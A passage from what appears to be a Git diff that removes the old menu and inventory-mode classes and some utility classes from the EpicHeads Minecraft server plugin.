Player player = this.getInvMode().getPlayer();
for (String category : cache.getCategories()) {
if (player.hasPermission("EpicHeads.category." + category.toLowerCase().replace(' ', '_'))) {
this.categories.add(category);
}
}
} else {
this.categories.addAll(cache.getCategories());
}
int numHeads = this.categories.size();
ItemStack[] contents;
if (numHeads == 0) {
int size = 6 * 9;
setInventory(Bukkit.createInventory(this, size, getMenu().getTitle()));
contents = new ItemStack[size];
ItemStack red = Items.createRedStainedGlassPane().build();
ItemMeta meta = red.getItemMeta();
String message = "&cYou do not have permission";
String lore = "&cto view any head categories";
meta.setDisplayName(ChatColor.translateAlternateColorCodes('&', message));
meta.setLore(Collections.singletonList(ChatColor.translateAlternateColorCodes('&', lore)));
red.setItemMeta(meta);
ItemStack black = red.clone();
black.setDurability((short) 15);
Arrays.fill(contents, red);
contents[1] = black;
contents[7] = black;
contents[1 + 9 * 5] = black;
contents[7 + 9 * 5] = black;
contents[4 + 9] = black;
contents[4 + 9 * 2] = black;
contents[4 + 9 * 4] = black;
for (int y = 0; y < 6; y++) {
contents[y * 9] = black;
contents[8 + y * 9] = black;
}
} else if (numHeads > 27) {
int size = (int) Math.ceil(numHeads / 9d) * 9;
setInventory(Bukkit.createInventory(this, size, getMenu().getTitle()));
int lastRow = numHeads % 5;
this.offset = (9d - lastRow) / 2d;
contents = new ItemStack[size];
for (int index = 0; index < this.categories.size(); index++) {
String category = this.categories.get(index);
List<CacheHead> heads = new ArrayList<>(cache.getCategoryHeads(category));
this.heads.put(category, heads);
int slot = index;
if (slot >= size - 9) {
slot += (int) Math.floor(this.offset);
if (slot % 9 >= 4) {
slot += (int) Math.ceil(this.offset % 1);
}
}
CacheHead head = heads.get(0);
ItemStack item = getMenu().getItemStack("head", new Placeholder("%category%", category), new Placeholder("%heads%", Integer.toString(heads.size())));
contents[slot] = head.addTexture(item);
}
} else {
int rows = (int) Math.ceil(numHeads / 9d);
if (numHeads <= rows * 9 - 4) {
rows = rows * 2 - 1;
} else {
rows = rows * 2;
}
int size = rows * 9;
setInventory(Bukkit.createInventory(this, size, getMenu().getTitle()));
contents = new ItemStack[size];
for (int index = 0; index < this.categories.size(); index++) {
String category = this.categories.get(index);
List<CacheHead> heads = new ArrayList<>(cache.getCategoryHeads(category));
this.heads.put(category, heads);
CacheHead head = heads.get(0);
ItemStack item = getMenu().getItemStack("head", new Placeholder("%category%", category), new Placeholder("%heads%", Integer.toString(heads.size())));
contents[index * 2] = head.addTexture(item);
}
}
getInventory().setContents(contents);
}
public String getCategory(int slot) {
Inventory inv = getInventory();
int size = inv.getSize();
if (slot < 0 || slot >= size || inv.getItem(slot) == null)
return null;
if (this.categories.size() > 27) {
int index;
if (slot >= size - 9) {
if (slot % 9 >= 4) {
index = slot - (int) Math.ceil(this.offset);
} else {
index = slot - (int) Math.floor(this.offset);
}
} else {
index = slot;
}
return this.categories.get(index);
} else {
return this.categories.get(slot / 2);
}
}
public List<CacheHead> getHeads(String category) {
return heads.get(category);
}
}

View File

@ -1,12 +0,0 @@
package com.songoda.epicheads.oldmenu;
import org.bukkit.event.inventory.InventoryClickEvent;
import org.bukkit.inventory.InventoryHolder;
public interface ClickInventory extends InventoryHolder {
public void onClick(InventoryClickEvent e);
public InventoryType getType();
}

View File

@ -1,56 +0,0 @@
package com.songoda.epicheads.oldmenu;
import com.songoda.epicheads.cache.CacheHead;
import com.songoda.epicheads.config.lang.Placeholder;
import com.songoda.epicheads.config.oldmenu.Menu;
import com.songoda.epicheads.oldmenu.mode.InvMode;
import com.songoda.epicheads.util.ArrayUtils;
import org.bukkit.inventory.Inventory;
import org.bukkit.inventory.ItemStack;
public class ConfirmMenu extends AbstractModedInventory {
private CacheHead subject;
private Placeholder[] placeholders;
public ConfirmMenu(InvMode mode, CacheHead subject) {
this(mode, subject, new Placeholder[0]);
}
public ConfirmMenu(InvMode mode, CacheHead subject, Placeholder[] placeholders) {
super(InventoryType.CONFIRM, 45,
ArrayUtils.append(placeholders, subject.getPlaceholders(mode.getPlayer())),
mode);
this.subject = subject;
this.placeholders = ArrayUtils.append(placeholders, subject.getPlaceholders(mode.getPlayer()));
recreate();
}
@Override
public void recreate() {
Inventory inv = getInventory();
Menu menu = getMenu();
ItemStack[] contents = new ItemStack[inv.getSize()];
contents[13] = subject.addTexture(menu.getItemStack("head", placeholders));
contents[29] = menu.getItemStack("accept", placeholders);
contents[33] = menu.getItemStack("deny", placeholders);
inv.setContents(contents);
}
public CacheHead getSubject() {
return subject;
}
public boolean isConfirm(int slot) {
return slot == 29;
}
public boolean isDeny(int slot) {
return slot == 33;
}
}

View File

@ -1,155 +0,0 @@
package com.songoda.epicheads.oldmenu;
import com.songoda.epicheads.cache.CacheHead;
import com.songoda.epicheads.config.lang.Placeholder;
import com.songoda.epicheads.config.oldmenu.Menu;
import com.songoda.epicheads.oldmenu.mode.InvMode;
import com.songoda.epicheads.oldmenu.mode.SearchMode;
import com.songoda.epicheads.util.ArrayUtils;
import org.bukkit.Bukkit;
import org.bukkit.entity.Player;
import org.bukkit.inventory.ItemStack;
import java.util.List;
public class HeadMenu extends AbstractModedInventory {
private String category;
private List<CacheHead> heads;
private int page;
public HeadMenu(InvMode mode, String category, List<CacheHead> heads) {
super(InventoryType.HEADS, 54, new Placeholder[] { new Placeholder("%category%", category) }, mode);
this.category = category;
this.heads = heads;
this.page = 0;
recreate();
}
@Override
public void recreate() {
Menu menu = getMenu();
Player player = getInvMode().getPlayer();
int maxPage = (int) Math.ceil((double) heads.size() / 45d);
page += maxPage;
page %= maxPage;
Placeholder[] placeholders = {
new Placeholder("%category%", category),
new Placeholder("%page%", Integer.toString(page))
};
ItemStack[] contents = new ItemStack[54];
ItemStack glass = menu.getItemStack("filler", placeholders);
for (int i = 45; i < 54; i++) {
contents[i] = glass.clone();
}
if (page != 0) {
ItemStack back = menu.getItemStack("backwards", placeholders);
back.setAmount(page);
contents[47] = back;
}
if (page != maxPage - 1) {
ItemStack forward = menu.getItemStack("forwards", placeholders);
forward.setAmount(page + 2);
contents[51] = forward;
}
if(!(getInvMode() instanceof SearchMode)) {
contents[49] = menu.getItemStack("back", placeholders);
}
for (int i = page * 45; i < (page + 1) * 45; i++) {
int index = i % 45;
if (i < heads.size()) {
CacheHead head = heads.get(i);
String id = "head";
if(getInvMode() instanceof SearchMode) {
id = ((SearchMode) getInvMode()).getHeadId(head);
}
placeholders[0] = new Placeholder("%category%", head.getCategory());
Placeholder[] holders = ArrayUtils.append(placeholders, head.getPlaceholders(player));
contents[index] = head.addTexture(menu.getItemStack(id, holders));
}
}
getInventory().setContents(contents);
}
public void backwardsPage() {
if (page > 0) {
page--;
recreate();
}
}
public void forwardsPage() {
if (page < getMaxPage() - 1) {
page++;
recreate();
}
}
public int getPage() {
return page;
}
public int getMaxPage() {
return (int) Math.ceil((double) heads.size() / 45d);
}
public boolean isHead(int slot) {
return slot < 45 && (page * 45 + slot) < heads.size();
}
public CacheHead getHead(int slot) {
return (isHead(slot) ? heads.get(page * 45 + slot) : null);
}
public boolean isToolBar(int slot) {
return slot >= 45;
}
public boolean isBackwards(int slot) {
return page > 0 && slot == 47;
}
public boolean isForwards(int slot) {
return page < getMaxPage() - 1 && slot == 51;
}
public boolean isBackToMenu(int slot) {
return slot == 49;
}
public boolean handleToolbar(int slot) {
if (!isToolBar(slot)) {
return false;
}
if (isBackwards(slot)) {
backwardsPage();
} else if (isForwards(slot)) {
forwardsPage();
} else if (isBackToMenu(slot) && !(getInvMode() instanceof SearchMode)) {
getInvMode().openInventory(InventoryType.CATEGORY);
}
return true;
}
}

View File

@ -1,63 +0,0 @@
package com.songoda.epicheads.oldmenu;
import com.songoda.epicheads.oldmenu.mode.InvMode;
import java.lang.reflect.Constructor;
public enum InventoryType {
CATEGORY(CategorySelectMenu.class),
HEADS(HeadMenu.class),
CONFIRM(ConfirmMenu.class);
private Class<? extends AbstractModedInventory> clazz;
private InventoryType(Class<? extends AbstractModedInventory> clazz) {
this.clazz = clazz;
}
public Class<? extends AbstractModedInventory> getMenuClass() {
return clazz;
}
public AbstractModedInventory createMenu(InvMode invmode, Object... arguments) {
try {
Object[] args = new Object[arguments.length + 1];
System.arraycopy(arguments, 0, args, 1, arguments.length);
args[0] = invmode;
Class<?>[] argTypes = new Class<?>[args.length];
for (int i = 0; i < argTypes.length; i++) {
argTypes[i] = (args[i] == null ? null : args[i].getClass());
}
outer: for (Constructor<?> constructor : clazz.getConstructors()) {
if (constructor.getParameterTypes().length != args.length) {
continue;
}
Class<?>[] params = constructor.getParameterTypes();
for (int i = 0; i < argTypes.length; i++) {
if (argTypes[i] == null) {
if (!Object.class.isAssignableFrom(argTypes[i])) {
continue outer;
}
continue;
}
if (!params[i].isAssignableFrom(argTypes[i])) {
continue outer;
}
}
return (AbstractModedInventory) constructor.newInstance(args);
}
throw new IllegalArgumentException(clazz + " does not contain a valid constructor for the provided arguments");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}

View File

@ -1,98 +0,0 @@
package com.songoda.epicheads.oldmenu.mode;
import com.songoda.epicheads.cache.CacheHead;
import com.songoda.epicheads.oldmenu.CategorySelectMenu;
import com.songoda.epicheads.oldmenu.ConfirmMenu;
import com.songoda.epicheads.oldmenu.HeadMenu;
import com.songoda.epicheads.oldmenu.InventoryType;
import org.bukkit.entity.Player;
import org.bukkit.event.inventory.InventoryClickEvent;
public abstract class BaseMode extends InvMode {
public BaseMode(Player player) {
super(player, InventoryType.CATEGORY);
}
public BaseMode(Player player, InventoryType type, Object... args) {
super(player, type, args);
}
@Override
public void onClick(InventoryClickEvent e, InventoryType type) {
e.setCancelled(true);
if (e.getClickedInventory() != null && e.getClickedInventory().equals(getInventory().getInventory())) {
switch (type) {
case CATEGORY:
onCategoryClick(e);
break;
case HEADS:
onHeadsClick(e);
break;
case CONFIRM:
onConfirmClick(e);
break;
default:
break;
}
}
}
public void onCategoryClick(InventoryClickEvent e) {
if(e.getCurrentItem() == null)
return;
CategorySelectMenu menu = getInventory(CategorySelectMenu.class);
String category = menu.getCategory(e.getRawSlot());
if(category != null) {
this.onCategorySelect(category);
}
}
public void onCategorySelect(String category) {
if (!canOpenCategory(category)) {
return;
}
CategorySelectMenu menu = getInventory(CategorySelectMenu.class);
openInventory(InventoryType.HEADS, category, menu.getHeads(category));
}
public abstract boolean canOpenCategory(String category);
public void onHeadsClick(InventoryClickEvent e) {
HeadMenu menu = getInventory(HeadMenu.class);
int slot = e.getRawSlot();
if (!menu.handleToolbar(slot)) {
CacheHead head = menu.getHead(slot);
if (head != null) {
onHeadSelect(e, menu, head);
}
}
}
public abstract void onHeadSelect(InventoryClickEvent e, HeadMenu menu, CacheHead head);
public void onConfirmClick(InventoryClickEvent e) {
ConfirmMenu menu = getInventory(ConfirmMenu.class);
if (menu.isConfirm(e.getRawSlot())) {
onConfirm(e, menu, menu.getSubject());
closeInventory();
}
if (menu.isDeny(e.getRawSlot())) {
closeInventory();
}
}
public abstract void onConfirm(InventoryClickEvent e, ConfirmMenu menu, CacheHead head);
}

View File

@ -1,71 +0,0 @@
package com.songoda.epicheads.oldmenu.mode;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.cache.CacheHead;
import com.songoda.epicheads.config.lang.Placeholder;
import com.songoda.epicheads.config.oldmenu.Menu;
import com.songoda.epicheads.config.oldmenu.Menus;
import com.songoda.epicheads.oldmenu.ConfirmMenu;
import com.songoda.epicheads.oldmenu.HeadMenu;
import com.songoda.epicheads.oldmenu.InventoryType;
import com.songoda.epicheads.util.ArrayUtils;
import net.md_5.bungee.api.ChatColor;
import org.bukkit.entity.Player;
import org.bukkit.event.inventory.InventoryClickEvent;
import java.util.List;
public class CategoryCostMode extends BaseMode {
private Double cost = null;
public CategoryCostMode(Player player) {
super(player);
}
public void setCost(Double cost) {
this.cost = cost;
EpicHeads.getInstance().getLocale().getMessage("interface.categorycost.open", cost);
}
@Override
public Menu getMenu(InventoryType type) {
return Menus.CATEGORY_COST.fromType(type);
}
public CacheHead getCategoryHead(String category) {
List<CacheHead> heads = EpicHeads.getInstance().getCache().getCategoryHeads(category);
return (heads.size() > 0 ? heads.get(0) : null);
}
@Override
public void onCategorySelect(String category) {
CacheHead head = getCategoryHead(category);
if (head == null) {
getPlayer().sendMessage(ChatColor.RED + "Invalid category");
return;
}
openInventory(InventoryType.CONFIRM, head, ArrayUtils.create(new Placeholder("%newcost%", cost)));
}
@Override
public void onConfirm(InventoryClickEvent e, ConfirmMenu menu, CacheHead head) {
EpicHeads.getInstance().getLocale().getMessage("interface.categorycost.setcost", head.getCategory(), cost);
EpicHeads.getInstance().getMainConfig().setCategoryCost(head.getCategory(), cost);
}
@Override
public boolean canOpenCategory(String category) {
return true;
}
@Override
public void onHeadSelect(InventoryClickEvent e, HeadMenu menu, CacheHead head) {
}
}

View File

@ -1,67 +0,0 @@
package com.songoda.epicheads.oldmenu.mode;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.cache.CacheHead;
import com.songoda.epicheads.config.lang.Placeholder;
import com.songoda.epicheads.config.oldmenu.Menu;
import com.songoda.epicheads.config.oldmenu.Menus;
import com.songoda.epicheads.oldmenu.ConfirmMenu;
import com.songoda.epicheads.oldmenu.HeadMenu;
import com.songoda.epicheads.oldmenu.InventoryType;
import com.songoda.epicheads.util.ArrayUtils;
import net.md_5.bungee.api.ChatColor;
import org.bukkit.entity.Player;
import org.bukkit.event.inventory.InventoryClickEvent;
import java.util.List;
public class CategoryCostRemoveMode extends BaseMode {
private final double newCost = EpicHeads.getInstance().getMainConfig().getDefaultHeadCost();
public CategoryCostRemoveMode(Player player) {
super(player);
player.sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.categorycost.openremove", newCost));
}
@Override
public Menu getMenu(InventoryType type) {
return Menus.CATEGORY_COST_REMOVE.fromType(type);
}
public CacheHead getCategoryHead(String category) {
List<CacheHead> heads = EpicHeads.getInstance().getCache().getCategoryHeads(category);
return (heads.size() > 0 ? heads.get(0) : null);
}
@Override
public void onCategorySelect(String category) {
CacheHead head = this.getCategoryHead(category);
if (head == null) {
this.getPlayer().sendMessage(ChatColor.RED + "Invalid category");
return;
}
openInventory(InventoryType.CONFIRM, head, ArrayUtils.create(new Placeholder("%newcost%", newCost)));
}
@Override
public void onConfirm(InventoryClickEvent e, ConfirmMenu menu, CacheHead head) {
e.getWhoClicked().sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.categorycost.removecost", newCost));
EpicHeads.getInstance().getMainConfig().removeCategoryCost(head.getCategory());
}
@Override
public boolean canOpenCategory(String category) {
return true;
}
@Override
public void onHeadSelect(InventoryClickEvent e, HeadMenu menu, CacheHead head) {
}
}

View File

@ -1,56 +0,0 @@
package com.songoda.epicheads.oldmenu.mode;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.cache.CacheHead;
import com.songoda.epicheads.config.lang.Placeholder;
import com.songoda.epicheads.config.oldmenu.Menu;
import com.songoda.epicheads.config.oldmenu.Menus;
import com.songoda.epicheads.oldmenu.ConfirmMenu;
import com.songoda.epicheads.oldmenu.HeadMenu;
import com.songoda.epicheads.oldmenu.InventoryType;
import com.songoda.epicheads.util.ArrayUtils;
import org.bukkit.entity.Player;
import org.bukkit.event.inventory.InventoryClickEvent;
public class CostMode extends BaseMode {
private Double cost = null;
public CostMode(Player player) {
super(player);
}
public Double getCost() {
return cost;
}
public void setCost(Double cost) {
this.cost = cost;
getPlayer().sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.categorycost.open", cost));
}
@Override
public Menu getMenu(InventoryType type) {
return Menus.COST.fromType(type);
}
@Override
public void onHeadSelect(InventoryClickEvent e, HeadMenu menu, CacheHead head) {
openInventory(InventoryType.CONFIRM, head, ArrayUtils.create(new Placeholder("%newcost%", cost)));
}
@Override
public void onConfirm(InventoryClickEvent e, ConfirmMenu menu, CacheHead head) {
getPlayer().sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.categorycost.setcost", head.getName(), cost));
head.setCost(cost);
EpicHeads.getInstance().saveCache();
}
@Override
public boolean canOpenCategory(String category) {
return true;
}
}

View File

@ -1,53 +0,0 @@
package com.songoda.epicheads.oldmenu.mode;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.cache.CacheHead;
import com.songoda.epicheads.config.oldmenu.Menu;
import com.songoda.epicheads.config.oldmenu.Menus;
import com.songoda.epicheads.oldmenu.ConfirmMenu;
import com.songoda.epicheads.oldmenu.HeadMenu;
import com.songoda.epicheads.oldmenu.InventoryType;
import org.bukkit.entity.Player;
import org.bukkit.event.inventory.InventoryClickEvent;
public class GetMode extends BaseMode {
public GetMode(Player player) {
super(player);
player.sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.get.open"));
}
@Override
public Menu getMenu(InventoryType type) {
return Menus.GET.fromType(type);
}
@Override
public void onHeadSelect(InventoryClickEvent e, HeadMenu menu, CacheHead head) {
Player player = getPlayer();
if (!EpicHeads.getInstance().chargeForHead(player, head))
return;
//Lang.Menu.Get.added(head.getName()).send(player); ToDo: What was this?
player.getInventory().addItem(head.getItemStack());
}
@Override
public void onConfirm(InventoryClickEvent e, ConfirmMenu menu, CacheHead head) {
// should not be reached
}
@Override
public boolean canOpenCategory(String category) {
if (getPlayer().hasPermission("EpicHeads.category." + category.toLowerCase().replace(' ', '_'))) {
return true;
} else {
getPlayer().sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.search.nopermission", category));
return false;
}
}
}

View File

@ -1,41 +0,0 @@
package com.songoda.epicheads.oldmenu.mode;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.cache.CacheHead;
import com.songoda.epicheads.config.oldmenu.Menu;
import com.songoda.epicheads.config.oldmenu.Menus;
import com.songoda.epicheads.oldmenu.ConfirmMenu;
import com.songoda.epicheads.oldmenu.HeadMenu;
import com.songoda.epicheads.oldmenu.InventoryType;
import org.bukkit.entity.Player;
import org.bukkit.event.inventory.InventoryClickEvent;
public class IdMode extends BaseMode {
public IdMode(Player player) {
super(player);
player.sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.get.open"));
}
@Override
public Menu getMenu(InventoryType type) {
return Menus.ID.fromType(type);
}
@Override
public void onHeadSelect(InventoryClickEvent e, HeadMenu menu, CacheHead head) {
e.getWhoClicked().sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.id.clicked", head.getName(), head.getId()));
}
@Override
public void onConfirm(InventoryClickEvent e, ConfirmMenu menu, CacheHead head) {
// should not be reached
}
@Override
public boolean canOpenCategory(String category) {
return true;
}
}

View File

@ -1,56 +0,0 @@
package com.songoda.epicheads.oldmenu.mode;
import com.songoda.epicheads.config.oldmenu.Menu;
import com.songoda.epicheads.oldmenu.AbstractModedInventory;
import com.songoda.epicheads.oldmenu.InventoryType;
import org.bukkit.entity.Player;
import org.bukkit.event.inventory.InventoryClickEvent;
public abstract class InvMode {
private AbstractModedInventory inventory;
private Player player;
public InvMode(Player player, InventoryType type, Object... arguments) {
this.player = player;
openInventory(type, arguments);
}
public Player getPlayer() {
return this.player;
}
@SuppressWarnings("unchecked")
public <T extends InvMode> T asType(Class<T> clazz) {
return (T) this;
}
public AbstractModedInventory getInventory() {
return this.inventory;
}
@SuppressWarnings("unchecked")
public <T extends AbstractModedInventory> T getInventory(Class<T> clazz) {
return (T) this.inventory;
}
public void setInventory(AbstractModedInventory inventory) {
this.inventory = inventory;
this.player.openInventory(inventory.getInventory());
}
public void openInventory(InventoryType type, Object... arguments) {
setInventory(type.createMenu(this, arguments));
}
public void closeInventory() {
player.closeInventory();
}
public abstract Menu getMenu(InventoryType type);
public abstract void onClick(InventoryClickEvent e, InventoryType type);
}

View File

@ -1,32 +0,0 @@
package com.songoda.epicheads.oldmenu.mode;
import org.bukkit.entity.Player;
public enum InvModeType {
GET(GetMode.class),
REMOVE(RemoveMode.class),
RENAME(RenameMode.class),
COST(CostMode.class),
CATEGORY_COST(CategoryCostMode.class),
CATEGORY_COST_REMOVE(CategoryCostRemoveMode.class),
ID(IdMode.class);
private Class<? extends InvMode> clazz;
private InvModeType(Class<? extends InvMode> clazz) {
this.clazz = clazz;
}
public Class<? extends InvMode> getInvModeClass() {
return clazz;
}
public InvMode open(Player player) {
try {
return clazz.getConstructor(Player.class).newInstance(player);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}

View File

@ -1,45 +0,0 @@
package com.songoda.epicheads.oldmenu.mode;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.cache.CacheHead;
import com.songoda.epicheads.config.oldmenu.Menu;
import com.songoda.epicheads.config.oldmenu.Menus;
import com.songoda.epicheads.oldmenu.ConfirmMenu;
import com.songoda.epicheads.oldmenu.HeadMenu;
import com.songoda.epicheads.oldmenu.InventoryType;
import org.bukkit.entity.Player;
import org.bukkit.event.inventory.InventoryClickEvent;
public class RemoveMode extends BaseMode {
public RemoveMode(Player player) {
super(player);
player.sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.get.open"));
}
@Override
public Menu getMenu(InventoryType type) {
return Menus.REMOVE.fromType(type);
}
@Override
public void onHeadSelect(InventoryClickEvent e, HeadMenu menu, CacheHead head) {
openInventory(InventoryType.CONFIRM, head);
}
@Override
public void onConfirm(InventoryClickEvent e, ConfirmMenu menu, CacheHead head) {
EpicHeads.getInstance().getCache().removeHead(head);
EpicHeads.getInstance().saveCache();
e.getWhoClicked().sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.remove.removed", head.getName()));
}
@Override
public boolean canOpenCategory(String category) {
return true;
}
}

View File

@ -1,56 +0,0 @@
package com.songoda.epicheads.oldmenu.mode;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.cache.CacheHead;
import com.songoda.epicheads.config.lang.Placeholder;
import com.songoda.epicheads.config.oldmenu.Menu;
import com.songoda.epicheads.config.oldmenu.Menus;
import com.songoda.epicheads.oldmenu.ConfirmMenu;
import com.songoda.epicheads.oldmenu.HeadMenu;
import com.songoda.epicheads.oldmenu.InventoryType;
import com.songoda.epicheads.util.ArrayUtils;
import org.bukkit.entity.Player;
import org.bukkit.event.inventory.InventoryClickEvent;
public class RenameMode extends BaseMode {
private String name = null;
public RenameMode(Player player) {
super(player);
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
getPlayer().sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.rename.open", name));
}
@Override
public Menu getMenu(InventoryType type) {
return Menus.RENAME.fromType(type);
}
@Override
public void onHeadSelect(InventoryClickEvent e, HeadMenu menu, CacheHead head) {
openInventory(InventoryType.CONFIRM, head, ArrayUtils.create(new Placeholder("%newname%", name)));
}
@Override
public void onConfirm(InventoryClickEvent e, ConfirmMenu menu, CacheHead head) {
e.getWhoClicked().sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.rename.renamed", head.getName(), name));
head.setName(name);
EpicHeads.getInstance().saveCache();
}
@Override
public boolean canOpenCategory(String category) {
return true;
}
}

View File

@ -1,61 +0,0 @@
package com.songoda.epicheads.oldmenu.mode;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.cache.CacheHead;
import com.songoda.epicheads.config.oldmenu.Menu;
import com.songoda.epicheads.config.oldmenu.Menus;
import com.songoda.epicheads.oldmenu.ConfirmMenu;
import com.songoda.epicheads.oldmenu.HeadMenu;
import com.songoda.epicheads.oldmenu.InventoryType;
import org.bukkit.entity.Player;
import org.bukkit.event.inventory.InventoryClickEvent;
import java.util.List;
public class SearchMode extends BaseMode {
public SearchMode(Player player, List<CacheHead> heads) {
super(player, InventoryType.HEADS, "Search", heads);
}
@Override
public Menu getMenu(InventoryType type) {
return Menus.SEARCH.heads();
}
public String getHeadId(CacheHead head) {
if (!getPlayer().hasPermission("epicheads.category." + head.getCategory().toLowerCase().replace(' ', '_'))) {
return "head-no-perms";
} else {
return (head.hasCost() && EpicHeads.getInstance().getMainConfig().isEconomyEnabled() ? "head-cost" : "head");
}
}
@Override
public void onHeadSelect(InventoryClickEvent e, HeadMenu menu, CacheHead head) {
Player player = getPlayer();
if (!player.hasPermission("epicheads.category." + head.getCategory().toLowerCase().replace(' ', '_'))) {
player.sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.search.nopermission", head.getCategory()));
return;
}
if (!EpicHeads.getInstance().chargeForHead(player, head))
return;
//Lang.Menu.Search.added(head.getName()).send(player); ToDo: What is this?
player.getInventory().addItem(head.getItemStack());
}
@Override
public void onConfirm(InventoryClickEvent e, ConfirmMenu menu, CacheHead head) {
// should not be reached
}
@Override
public boolean canOpenCategory(String category) {
return true;
}
}

View File

@ -1,24 +0,0 @@
package com.songoda.epicheads.util;
import java.util.Arrays;
public class ArrayUtils {
@SafeVarargs
public static <T> T[] create(T... values) {
return values;
}
public static <T> T[] copy(T[] array) {
return Arrays.copyOf(array, array.length);
}
@SafeVarargs
public static <T> T[] append(T[] list1, T... list2) {
T[] newList = java.util.Arrays.copyOf(list1, list1.length + list2.length);
System.arraycopy(list2, 0, newList, list1.length, list2.length);
return newList;
}
}

View File

@ -1,26 +0,0 @@
package com.songoda.epicheads.util;
public class Checks {
public static void ensureNonNull(Object argument, String argName) {
ensureTrue(argument != null, argName + " cannot be null");
}
public static <T> void ensureArrayNonNull(T[] array, String arrayName) {
ensureNonNull(array, arrayName);
for(T element : array) {
ensureTrue(element != null, arrayName + " cannot contain null values");
}
}
public static void ensureWithinRange(int num, int min, int max, String argName) {
ensureTrue(num >= min && num <= max, argName + " must be between " + min + " and " + max + " inclusive");
}
public static void ensureTrue(boolean expression, String message) {
if(!expression)
throw new IllegalArgumentException(message);
}
}

View File

@ -1,42 +0,0 @@
package com.songoda.epicheads.util;
import java.text.DecimalFormat;
public class Clock {
private static final DecimalFormat millisecondsFormat = new DecimalFormat("#.##");
private final long start;
private long end;
public Clock() {
this.start = System.nanoTime();
this.end = -1;
}
public boolean hasEnded() {
return end >= 0;
}
public String stop() {
Checks.ensureTrue(!hasEnded(), "Timer has already been stopped.");
this.end = System.nanoTime();
return toString();
}
public double getDuration() {
return (hasEnded() ? end - start : System.nanoTime() - start) / 1e6;
}
@Override
public String toString() {
return "(" + millisecondsFormat.format(getDuration()) + " ms)";
}
public static Clock start() {
return new Clock();
}
}

View File

@ -1,48 +0,0 @@
package com.songoda.epicheads.util;
public abstract class ExceptionDetailer {
private static class DetailException extends Exception {
private static final long serialVersionUID = 7714839411923164464L;
public DetailException(String detail) {
super(detail);
}
}
public RuntimeException detail(RuntimeException exception) {
return (RuntimeException) detail((Exception) exception);
}
public abstract Exception detail(Exception exception);
public static ExceptionDetailer constructorDetailer() {
final DetailException constructorStackTrace = new DetailException("Object constructed at");
return new ExceptionDetailer() {
@Override
public Exception detail(Exception exception) {
try {
return appendInfo(exception, constructorStackTrace);
} catch (Exception e) {
new Exception("Exception appending info to exception ", e).printStackTrace();
constructorStackTrace.printStackTrace();
return exception;
}
}
};
}
public static Exception appendInfo(Exception exception, DetailException info) {
Checks.ensureNonNull(exception, "exception");
Checks.ensureNonNull(info, "info");
exception.addSuppressed(info);
return exception;
}
}

View File

@ -1,68 +0,0 @@
package com.songoda.epicheads.util;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.*;
public class IOUtils {
public static void writeArray(ObjectOutputStream stream, String[] array) throws IOException {
Checks.ensureNonNull(stream, "stream");
Checks.ensureArrayNonNull(array, "array");
stream.writeInt(array.length);
for(String element : array) {
stream.writeUTF(element);
}
}
public static String[] readArray(ObjectInputStream stream) throws IOException {
Checks.ensureNonNull(stream, "stream");
int length = stream.readInt();
String[] array = new String[length];
for(int index = 0; index < length; ++index) {
array[index] = stream.readUTF();
}
return array;
}
public static void writeStringSet(ObjectOutputStream stream, Set<String> set) throws IOException {
String[] array = set.toArray(new String[set.size()]);
writeArray(stream, array);
}
public static Set<String> readStringSet(ObjectInputStream stream) throws IOException {
String[] array = readArray(stream);
return new HashSet<>(Arrays.asList(array));
}
public static void writeStringList(ObjectOutputStream stream, List<String> list) throws IOException {
String[] array = list.toArray(new String[list.size()]);
writeArray(stream, array);
}
public static List<String> readStringList(ObjectInputStream stream) throws IOException {
String[] array = readArray(stream);
return new ArrayList<>(Arrays.asList(array));
}
public static void writeUUID(ObjectOutputStream stream, UUID uuid) throws IOException {
stream.writeLong(uuid.getMostSignificantBits());
stream.writeLong(uuid.getLeastSignificantBits());
}
public static UUID readUUID(ObjectInputStream stream) throws IOException {
long mostSignificantBits = stream.readLong();
long leastSignificantBits = stream.readLong();
return new UUID(mostSignificantBits, leastSignificantBits);
}
}

View File

@ -1,21 +0,0 @@
package com.songoda.epicheads.util;
import org.bukkit.ChatColor;
public class Methods {
public static String formatText(String text) {
if (text == null || text.equals(""))
return "";
return formatText(text, false);
}
public static String formatText(String text, boolean cap) {
if (text == null || text.equals(""))
return "";
if (cap)
text = text.substring(0, 1).toUpperCase() + text.substring(1);
return ChatColor.translateAlternateColorCodes('&', text);
}
}

View File

@ -1,294 +0,0 @@
package com.songoda.epicheads.util;
import com.google.common.base.Predicate;
import java.util.concurrent.Callable;
import java.util.function.Consumer;
import java.util.function.Function;
public abstract class SafeCall {
private final ExceptionDetailer exceptionDetailer;
private SafeCall() {
exceptionDetailer = ExceptionDetailer.constructorDetailer();
}
protected RuntimeException fail(String message) {
throw exceptionDetailer.detail(new IllegalStateException(message));
}
protected RuntimeException fail(String message, Throwable cause) {
throw exceptionDetailer.detail(new IllegalStateException(message, cause));
}
public static Runnable runnable(Runnable runnable, String name) {
return new SafeRunnable(runnable, name);
}
public static <T, R> SafeFunction<T, R> function(Function<T, R> function, String name) {
return new SafeFunction<>(function, name);
}
public static <T, R> NonNullSafeFunction<T, R> nonNullFunction(Function<T, R> function, String name) {
